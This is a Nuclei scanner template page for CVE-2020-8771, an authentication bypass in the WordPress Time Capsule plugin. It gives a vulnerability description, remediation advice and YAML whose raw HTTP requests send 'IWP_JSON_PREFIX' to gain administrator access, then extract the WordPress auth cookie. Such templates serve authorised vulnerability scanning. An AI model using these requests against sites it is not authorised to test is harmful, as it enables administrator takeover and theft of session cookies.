Skip to content
Nuclei Templates

WordPress Time Capsule < 1.21.16 - Authentication Bypass

ID: CVE-2020-8771

Severity: critical

Author: princechaddha

Tags: cve,cve2020,wordpress,wp-plugin,wptimecapsule

Description

Section titled “Description”

WordPress Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts.

YAML Source

Section titled “YAML Source”
id: CVE-2020-8771


info:
  name: WordPress Time Capsule < 1.21.16 - Authentication Bypass
  author: princechaddha
  severity: critical
  description: WordPress Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the WordPress Time Capsule plugin.
  remediation: |
    Update WordPress Time Capsule plugin to version 1.21.16 or later.
  reference:
    - https://github.com/SECFORCE/WPTimeCapsulePOC
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8771
    - https://wpvulndb.com/vulnerabilities/10010
    - https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/
    - https://github.com/HycCodeQL/wordpress
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8771
    cwe-id: CWE-287
    epss-score: 0.06911
    epss-percentile: 0.93911
    cpe: cpe:2.3:a:wptimecapsule:wp_time_capsule:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wptimecapsule
    product: wp_time_capsule
    framework: wordpress
  tags: cve,cve2020,wordpress,wp-plugin,wptimecapsule


http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*


        IWP_JSON_PREFIX
      - |
        GET /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<div id="adminmenumain" role="navigation" aria-label="Main menu">'
          - "<h1>Dashboard</h1>"
        condition: and


      - type: word
        part: header
        words:
          - 'text/html'


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        regex:
          - "wordpress_[a-z0-9]+=([A-Za-z0-9%]+)"
        part: header
# digest: 4a0a00473045022100b37076e3c7b0d30952da619fe5ee8890b0f9b9d88ea1bb1728aa6d1f0d22f58002204b5c6df1e04fd0891db74be89e77e9d967ae4cdfc1f5e015d28dcb8c5eee37b1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-8771.yaml"

View on Github